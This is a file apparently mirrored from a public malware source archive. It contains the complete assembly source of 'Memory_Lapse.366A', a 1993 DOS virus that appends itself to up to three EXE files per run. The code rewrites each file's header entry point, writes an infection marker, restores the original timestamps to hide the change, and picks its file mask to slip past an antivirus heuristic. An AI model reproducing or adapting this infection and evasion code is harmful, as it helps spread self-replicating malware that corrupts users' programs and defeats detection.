mirror of
https://github.com/vxunderground/MalwareSourceCode
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190 lines
12 KiB
NASM
190 lines
12 KiB
NASM
title "Memory_Lapse.366A"
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;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
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;º Assembly Source Listing for Memory_Lapse.366A º
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;º Copyright (c) 1993 Memory Lapse. All Rights Reserved. º
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;ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
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;º The Memory_Lapse.366A Virus is a non-encrypting, time/date stamp saving, º
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;º original attribute retaining, disk transfr area preserving, direct action º
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;º non-overwriting, appending, EXE infector. º
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;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
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.model tiny ;_ASSUME CS=DS=ES=SS
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.code ;/
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org 100h ;Origin @ 100h
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;
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start: ;Marks Start of Source
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v_start: ;Marks Start of Virus
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call $+003h ;Push IP onto Stack
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pop bp ;Restore IP into BP
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sub bp,103h ;Subtract for Delta
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;
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push es ;Save Segment onto Stack
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pop di ;Load DI w/DS
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add di,010h ;Locate Start of EXE
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add di,cs:[bp+word ptr host_bytes+016h] ;Add CS to Start of EXE
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;
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push di cs:[bp+word ptr host_bytes+014h] ;Push CS & IP onto Stack
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push es ds cs ;Push Segments to Stack
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sub ax,ax ;Load Register w/Zero
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push ax ax ;Push Registers to Stack
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pop es ds ;Load Segments w/Zero
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;
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mov si,021h*004h ;DS:[SI] > INT 21 Vector
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mov di,003h*004h ;ES:[DI] > INT 03 Vector
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;
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movsw ;DS:[SI] -> ES:[DI]
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movsw ;DS:[SI] -> ES:[DI]
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;
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pop ds ;Restore DS (CS=DS)
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;
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mov ah,030h ;AH=30h / GET DOS VERS'N
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int 003h ;DOS Services
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;
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cmp al,003h ;Is it DOS 3.0?
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jb returntohost ;Jump if Below
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;
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mov ah,01Ah ;AH=1Ah / SET DTA
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lea dx,cs:[bp+DTA] ;DX=Location of DTA
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int 003h ;DOS Services
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;
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mov [bp+byte ptr file_count],003h ;Memory Segment = 003h
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;
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findfirstEXEfile: ;
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mov ah,04Eh ;AH=4Eh / FINDFIRST
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mov cx,1FFh ;CX=Attribute Masking
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lea dx,cs:[bp+fileEXEspec] ;DX=File Search Type
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;
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twilightZONE: ;
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int 003h ;DOS Services
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;
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jc doneEXEinfect ;Jump if Carry Set
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;
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jmp SHORT infectEXEfile ;Unconditional Jump
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;
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findnextEXEfile: ;
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cmp [bp+byte ptr file_count],000h ;Infected 3 Files?
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je doneEXEinfect ;Jump if Equal/Zero
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;
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mov ah,04Fh ;AH=4Fh / FINDNEXT
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;
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jmp SHORT twilightZONE ;Unconditional Jump
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;
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doneEXEinfect: ;
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mov ah,01Ah ;AH=1Ah / SET DTA
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mov dx,080h ;DX=080h / Start of CMD
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int 003h ;DOS Services
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;
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returntohost: ;
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pop ds es ;Restore Segments
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;
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retf ;Return Far
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;
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virus_name db 'Memory_Lapse.366A (07/01/93)',000h
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db 'Copyright (c) 1993 Memory Lapse',000h
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;
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infectEXEfile: ;
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mov ax,3D00h ;AX=3D00h / OPEN
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lea dx,cs:[bp+DTA+01Eh] ;DX=ASCIIZ File Name
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int 003h ;DOS Services
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;
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xchg bx,ax ;Exchange Register Value
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;
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push bx ;Save File Handle
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;
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mov ax,1220h ;AX=1220h /
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int 2Fh ;Multiplex Interrupt
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;
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mov bl,es:[di] ;
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;
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mov ax,1215h ;AX=1215h /
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inc ax ;AX=1216h /
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int 2Fh ;Multiplex Interrupt
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;
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pop bx ;Restore File Handle
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;
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mov es:[di+word ptr 002h],002h ;Open for Read / Write
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;
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mov ah,03Fh ;AH=3Fh / READ
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mov cx,018h ;CX=Number of Bytes
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lea dx,ds:[bp+host_bytes] ;DX=Buffer for Data
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int 003h ;DOS Services
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;
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cmp ds:[bp+word ptr host_bytes+000h],'ZM' ;Are We A Valid EXE?
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jnz closeEXEfile ;Jump if Not Equal/Zero
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;
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cmp ds:[bp+word ptr host_bytes+012h],'LM' ;Are We Infected?
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jz closeEXEfile ;Jump if Equal/Zero
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;
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mov ax,4202h ;AX=4202h / LSEEK EOF
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sub cx,cx ;Load Register w/Zero
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cwd ;Load Register w/Zero
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int 003h ;DOS Services
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;
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push dx ax ;Save Registers on Stack
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;
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mov ah,040h ;AH=40h / WRITE
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mov cx,(v_end-v_start) ;CX=Number of Bytes
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lea dx,cs:[bp+v_start] ;DX=Location of Data
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int 003h ;DOS Services
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;
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mov ax,4202h ;AX=4202h / LSEEK EOF
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xor cx,cx ;Load Register w/Zero
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cwd ;Load Register w/Zero
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int 003h ;DOS Services
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;
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mov cx,200h ;CX=Number to Divide By
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div cx ;Divide AX by CX
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;
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inc ax ;Increment AX
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;
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mov ds:[bp+word ptr host_bytes+004h],ax ;# of Pages in File
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mov ds:[bp+word ptr host_bytes+002h],dx ;# of Bytes @ Last Page
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;
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pop ax dx ;Restore Registers
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;
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mov cx,010h ;CX=Number to Divide By
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div cx ;Divide AX by CX
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;
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sub ax,ds:[bp+word ptr host_bytes+008h] ;Subtract Header Size
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;
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mov ds:[bp+word ptr host_bytes+016h],ax ;CS=Location of Virus
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mov ds:[bp+word ptr host_bytes+014h],dx ;IP=Start of Virus
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mov ds:[bp+word ptr host_bytes+012h],'LM' ;CRC=Infection Marker
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;
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mov es:[di+word ptr 015h],000h ;Move File Pointer to
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mov es:[di+word ptr 017h],000h ;Start of File Using SFT
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;
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mov ah,040h ;AH=40h / WRITE
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mov cx,018h ;CX=Number of Bytes
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lea dx,ds:[bp+host_bytes] ;DX=Location of Data
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int 003h ;DOS Services
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;
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mov ax,5701h ;AX=5701h / SET T/D
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mov cx,cs:[bp+word ptr DTA+016h] ;CX=Original Time @ DTA
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mov dx,cs:[bp+word ptr DTA+018h] ;DX=Original Date @ DTA
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int 003h ;DOS Services
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;
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dec [bp+byte ptr file_count] ;Decrement Counter
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;
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closeEXEfile: ;
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mov ah,03Eh ;AH=3Eh / CLOSE File
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int 003h ;DOS Services
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;
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jmp findnextEXEfile ;Unconditional Jump
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;
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host_bytes db 016h dup (000h) ;Buffer for Starting
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dw 0FFF0h ;of the EXE header.
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db 002h dup (000h) ;
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;
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;Get Rid of ThunderByte's "Searches for COM/EXE Files" Heuristic Flag
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;
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fileEXEspec db '*M.EXE',000h ;ASCIIZ File Specifics
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;
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v_end: ;Marks End of Virus
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;
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file_count db 001h dup (?) ;Buffer for Counter
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DTA db 02Ah dup (?) ;Buffer for DTA
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;
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end start ;Marks End of Source
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